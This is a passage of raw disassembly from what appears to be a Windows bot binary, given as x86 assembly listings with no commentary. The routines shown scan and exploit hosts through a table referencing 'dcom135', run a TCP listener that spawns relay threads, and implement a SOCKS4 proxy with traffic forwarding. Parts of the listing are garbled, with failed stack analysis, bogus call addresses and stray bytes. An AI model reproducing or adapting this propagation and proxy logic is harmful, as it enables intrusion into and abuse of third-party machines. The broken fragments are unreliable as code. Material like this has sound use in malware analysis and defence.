[ebp+var_C], eax loc_407683: ; CODE XREF: sub_40762E+4Bj cmp [ebp+var_8], esi jnz short loc_407690 call sub_41730A mov [ebp+var_8], eax loc_407690: ; CODE XREF: sub_40762E+58j cmp [ebp+var_4], esi jnz short loc_40769D call sub_41730A mov [ebp+var_4], eax loc_40769D: ; CODE XREF: sub_40762E+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076A9 call sub_41730A loc_4076A9: ; CODE XREF: sub_40762E+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_43C848[ecx*8], eax loc_4076C7: ; CODE XREF: sub_40762E+26j pop esi leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CA proc near ; CODE XREF: sub_407767+BBp ; sub_40D4C5+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076F3 xor eax, eax jmp short loc_407762 ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4076CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43F668 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43F704 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43F610 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43F650 push esi mov edi, eax call dword_43F700 xor eax, eax cmp edi, ebx setnle al loc_407762: ; CODE XREF: sub_4076CA+27j pop edi pop esi pop ebx leave retn sub_4076CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407767 proc near ; DATA XREF: sub_40797F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 25F085Ah nop push eax call sub_417300 mov ebx, esi pop ecx imul ebx, 234h loc_4077AE: ; CODE XREF: sub_407767+204j mov eax, dword_4450C4[ebx] cmp dword_43C84C[eax*8], 0 jz loc_407970 cmp [ebp+var_10], 0 push eax jz short loc_4077D8 lea eax, [ebp+var_150] push eax call sub_40762E pop ecx jmp short loc_4077DD ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_407767+60j call sub_4075E6 loc_4077DD: ; CODE XREF: sub_407767+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4450C4[ebx] push [ebp+var_3C] push edi call dword_43F6F4 push eax lea eax, [ebp+var_28C] push offset unk_42B3BC push eax call sub_4172AE add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_444EC0[ebx] push eax call sub_4172AE push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076CA add esp, 14h cmp eax, 1 jnz loc_407960 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B4 push offset dword_43D7E8 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_43F6F4 push eax lea eax, [ebp+var_28C] push offset unk_42B384 push eax call sub_4172AE add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407896 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788A lea eax, [ebp+var_140] loc_40788A: ; CODE XREF: sub_407767+11Bj push eax push [ebp+var_40] call sub_40D679 add esp, 14h loc_407896: ; CODE XREF: sub_407767+100j lea eax, [ebp+var_28C] push eax call sub_40BF6D mov [esp+2A8h+var_2A8], offset dword_43D7E8 call near ptr 77F7E300h nop jmp loc_407960 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407767+D0j push edi call dword_43F6F4 push eax lea eax, [ebp+var_208] push eax call sub_4172AE mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4172AE cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_4078F9 lea eax, [ebp+var_140] loc_4078F9: ; CODE XREF: sub_407767+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_4172AE mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42ACB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407960: ; CODE XREF: sub_407767+C6j ; sub_407767+148j push 7D0h call near ptr 26004EDh nop jmp loc_4077AE ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_407767+55j push esi call sub_417076 pop ecx push 0 nop call near ptr 25F0320h sub_407767 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797F proc near ; DATA XREF: sub_40EE72+3300o ; sub_40EE72+5135o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43F6A8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_43C848[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407252 push 8 call sub_416FA2 add esp, 150h cmp eax, ebx jnz short loc_407A4D mov esi, offset dword_43D7E8 push esi nop call near ptr 26D0000h push 80000400h push esi call near ptr 26C0B5Bh nop test eax, eax jnz short loc_407A4D lea eax, [ebp+var_1CC] push offset unk_42B4F0 push eax call sub_4172AE xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A37 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407A37: ; CODE XREF: sub_40797F+99j lea eax, [ebp+var_1CC] push eax call sub_40BF6D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A4D: ; CODE XREF: sub_40797F+63j ; sub_40797F+7Fj mov eax, [ebp+var_2C] mov esi, dword_424064 mov edi, ebx mov dword_43C84C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1A loc_407A6B: ; CODE XREF: sub_40797F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42B4A8 push eax call sub_4172AE push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416D5A mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4450C4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407767 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_407AE5 loc_407ADA: ; CODE XREF: sub_40797F+164j cmp [ebp+var_4], ebx jnz short loc_407B0C push 1Eh call esi jmp short loc_407ADA ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: sub_40797F+159j nop call near ptr 264030Ch push eax lea eax, [ebp+var_1CC] push offset unk_42B45C push eax call sub_4172AE lea eax, [ebp+var_1CC] push eax call sub_40BF6D add esp, 10h loc_407B0C: ; CODE XREF: sub_40797F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A6B loc_407B1A: ; CODE XREF: sub_40797F+E6j cmp [ebp+var_30], ebx jz loc_407BC4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B2F: ; CODE XREF: sub_40797F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_43C848[eax*8] push eax call dword_43F6F4 push eax lea eax, [ebp+var_1CC] push offset unk_42B408 push eax call sub_4172AE add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B7D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407B7D: ; CODE XREF: sub_40797F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40BF6D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_43C84C[eax*8], ebx call esi push 8 call sub_416FA2 cmp eax, 1 pop ecx jnz short loc_407BB4 push offset dword_43D7E8 nop call near ptr 26D0000h loc_407BB4: ; CODE XREF: sub_40797F+228j push [ebp+var_2C] call sub_417076 pop ecx push ebx call near ptr 25F0320h nop loc_407BC4: ; CODE XREF: sub_40797F+19Ej ; sub_40797F+25Dj mov eax, [ebp+var_2C] cmp dword_43C84C[eax*8], 1 jnz loc_407B2F push 7D0h call esi jmp short loc_407BC4 sub_40797F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BDE proc near ; DATA XREF: sub_40EE72+36DDo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43F668 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D42 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4450CC[eax], ebx call dword_43F584 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F694 test eax, eax jnz loc_407D42 push 0Ah push ebx call dword_43F690 test eax, eax jnz loc_407D42 loc_407C88: ; CODE XREF: sub_407BDE+BEj ; sub_407BDE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43F6FC mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C88 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43F6F4 push eax lea eax, [ebp+var_34C] push offset unk_42B584 push eax call sub_4172AE push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416D5A mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4450C4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_407D66 push esi push esi nop call near ptr 2670B28h mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4450D4[ecx], eax jz short loc_407D2D loc_407D1A: ; CODE XREF: sub_407BDE+14Dj cmp [ebp+var_2C], esi jnz loc_407C88 push 32h nop call near ptr 26004EDh jmp short loc_407D1A ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_407BDE+13Aj nop call near ptr 264030Ch push eax push offset unk_42B538 call sub_40BFE1 pop ecx pop ecx jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D42: ; CODE XREF: sub_407BDE+61j ; sub_407BDE+93j ... mov edi, [ebp+arg_0] loc_407D45: ; CODE XREF: sub_407BDE+162j push edi call dword_43F700 push ebx call dword_43F700 push [ebp+var_3C] call sub_417076 pop ecx push esi nop call near ptr 25F0320h pop edi pop esi pop ebx sub_407BDE endp ; sp-analysis failed loc_407D66: ; DATA XREF: sub_407BDE+11Co push ebp mov ebp, esp mov eax, 1344h call sub_417B30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43F6E8 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_407F1C push 10h lea eax, [ebp-18h] push edi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_43F668 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_407DF6 lea eax, [ebp-13Ch] push eax call dword_43F6EC jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: ___:00407DE5j push 2 lea eax, [ebp-8] push 4 push eax call dword_43F620 loc_407E04: ; CODE XREF: ___:00407DF4j cmp eax, edi jz loc_407F1C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_407F1C movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_43F6F4 push eax lea eax, [ebp-344h] push offset unk_42B62C push eax call sub_4172AE push esi lea eax, [ebp-344h] push 10h push eax call sub_416D5A imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4450CC[ebx] mov dword_4450C4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_4450D0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_407F4D push edi push edi nop call near ptr 2670B28h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_4450D4[ecx], eax jz short loc_407F09 loc_407EB6: ; CODE XREF: ___:00407EC3j cmp [ebp-20h], edi jnz short loc_407EC5 push 32h call near ptr 26004EDh nop jmp short loc_407EB6 ; --------------------------------------------------------------------------- loc_407EC5: ; CODE XREF: ___:00407EB9j mov ebx, 1000h loc_407ECA: ; CODE XREF: ___:00407F05j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_43F680 cmp eax, edi jle short loc_407F1C push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_407ECA jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; CODE XREF: ___:00407EB4j call near ptr 264030Ch nop push eax push offset unk_42B5DC call sub_40BFE1 pop ecx pop ecx loc_407F1C: ; CODE XREF: ___:00407DAAj ; ___:00407E06j ... mov eax, [ebp-4] imul eax, 234h push dword_4450CC[eax] call dword_43F700 push dword ptr [ebp+8] call dword_43F700 push dword ptr [ebp-4] call sub_417076 pop ecx push edi nop call near ptr 25F0320h pop edi pop esi pop ebx loc_407F4D: ; DATA XREF: ___:00407E96o push ebp mov ebp, esp mov eax, 1128h call sub_417B30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F84: ; CODE XREF: ___:00407FC9j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_4450D0[esi] call dword_43F680 test eax, eax jle short loc_407FCB push 0 push eax lea eax, [ebp-1128h] push eax push dword_4450CC[esi] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_407F84 loc_407FCB: ; CODE XREF: ___:00407FAEj push dword_4450D0[esi] call dword_43F700 push dword ptr [ebp-14h] call sub_417076 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- cmp [ebx+5E5F021Eh], al ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; DATA XREF: sub_40EE72+5E4Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp+var_14], 2 push [ebp+var_40] call dword_43F668 push 6 push edi push 2 mov word ptr [ebp+var_14+2], ax mov [ebp+var_10], esi call dword_43F6E8 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4450CC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43F694 test eax, eax jnz loc_40818C push 0Ah push edi call dword_43F690 test eax, eax jnz loc_40818C push [ebp+var_40] push [ebp+var_D4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42B75C push eax call sub_4172AE add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080C5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4080C5: ; CODE XREF: sub_407FEA+B9j ; sub_407FEA+172j ... lea eax, [ebp+var_2D4] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43F6FC push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43F6F4 push eax lea eax, [ebp+var_2D4] push offset unk_42B708 push eax call sub_4172AE push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416D5A mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4450C4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset loc_4081EF push esi push esi nop call near ptr 2670B28h mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4450D4[ecx], eax jz short loc_40816C loc_408159: ; CODE XREF: sub_407FEA+180j cmp [ebp+var_28], esi jnz loc_4080C5 push 5 nop call near ptr 26004EDh jmp short loc_408159 ; --------------------------------------------------------------------------- loc_40816C: ; CODE XREF: sub_407FEA+16Dj call near ptr 264030Ch nop push eax lea eax, [ebp+var_2D4] push offset unk_42B6C0 push eax call sub_4172AE add esp, 0Ch jmp loc_4080C5 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_407FEA+7Bj ; sub_407FEA+8Cj push edi call dword_43F700 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42B680 push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081CF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4081CF: ; CODE XREF: sub_407FEA+1C3j lea eax, [ebp+var_2D4] push eax call sub_40BF6D push [ebp+var_3C] call sub_417076 pop ecx pop ecx push esi nop call near ptr 25F0320h pop edi pop esi pop ebx loc_4081EF: ; DATA XREF: sub_407FEA+14Fo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4450CC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43F650 test eax, eax jnz short loc_408270 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417076 pop ecx push ebx call near ptr 25F0320h nop loc_408270: ; CODE XREF: sub_407FEA+26Cj push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43F680 test eax, eax jg short loc_4082A1 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417076 pop ecx push ebx nop call near ptr 25F0320h loc_4082A1: ; CODE XREF: sub_407FEA+29Dj cmp [ebp+var_4D0], 4 jnz loc_40849B cmp [ebp+var_4CF], 1 jnz loc_40849B cmp [ebp+var_44], bl jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42B830 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417330 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417076 pop ecx push ebx nop call near ptr 25F0320h loc_408337: ; CODE XREF: sub_407FEA+2D4j ; sub_407FEA+2EAj push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417330 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083CF call dword_43F5FC push eax push offset unk_42B7E4 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417076 pop ecx push ebx nop call near ptr 25F0320h loc_4083CF: ; CODE XREF: sub_407FEA+386j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_40843E call dword_43F5FC push eax push offset unk_42B794 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417076 pop ecx push ebx call near ptr 25F0320h nop loc_40843E: ; CODE XREF: sub_407FEA+3F5j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417330 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] push edi call sub_4084B3 pop ecx pop ecx push edi call dword_43F700 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417076 pop ecx push ebx nop call near ptr 25F0320h loc_40849B: ; CODE XREF: sub_407FEA+2BEj ; sub_407FEA+2CBj push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417076 pop ecx push ebx call near ptr 25F0320h nop sub_407FEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084C9: ; CODE XREF: sub_4084B3+C5j ; sub_4084B3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E1: ; CODE XREF: sub_4084B3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F1 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E1 loc_4084F1: ; CODE XREF: sub_4084B3+33j cmp ecx, 1 jnz short loc_408506 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408506: ; CODE XREF: sub_4084B3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43F650 lea eax, [ebp+var_104] push eax push ebx call dword_43F560 test eax, eax jz short loc_408566 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43F680 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4085AE loc_408566: ; CODE XREF: sub_4084B3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43F560 test eax, eax jz loc_4084C9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43F680 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz loc_4084C9 loc_4085AE: ; CODE XREF: sub_4084B3+9Aj ; sub_4084B3+B1j ... pop edi pop esi pop ebx leave retn sub_4084B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B3 proc near ; CODE XREF: sub_40EE72+45AFp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_43F654 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4087E7 push 8 push edi call dword_43F670 push 0Ah push edi 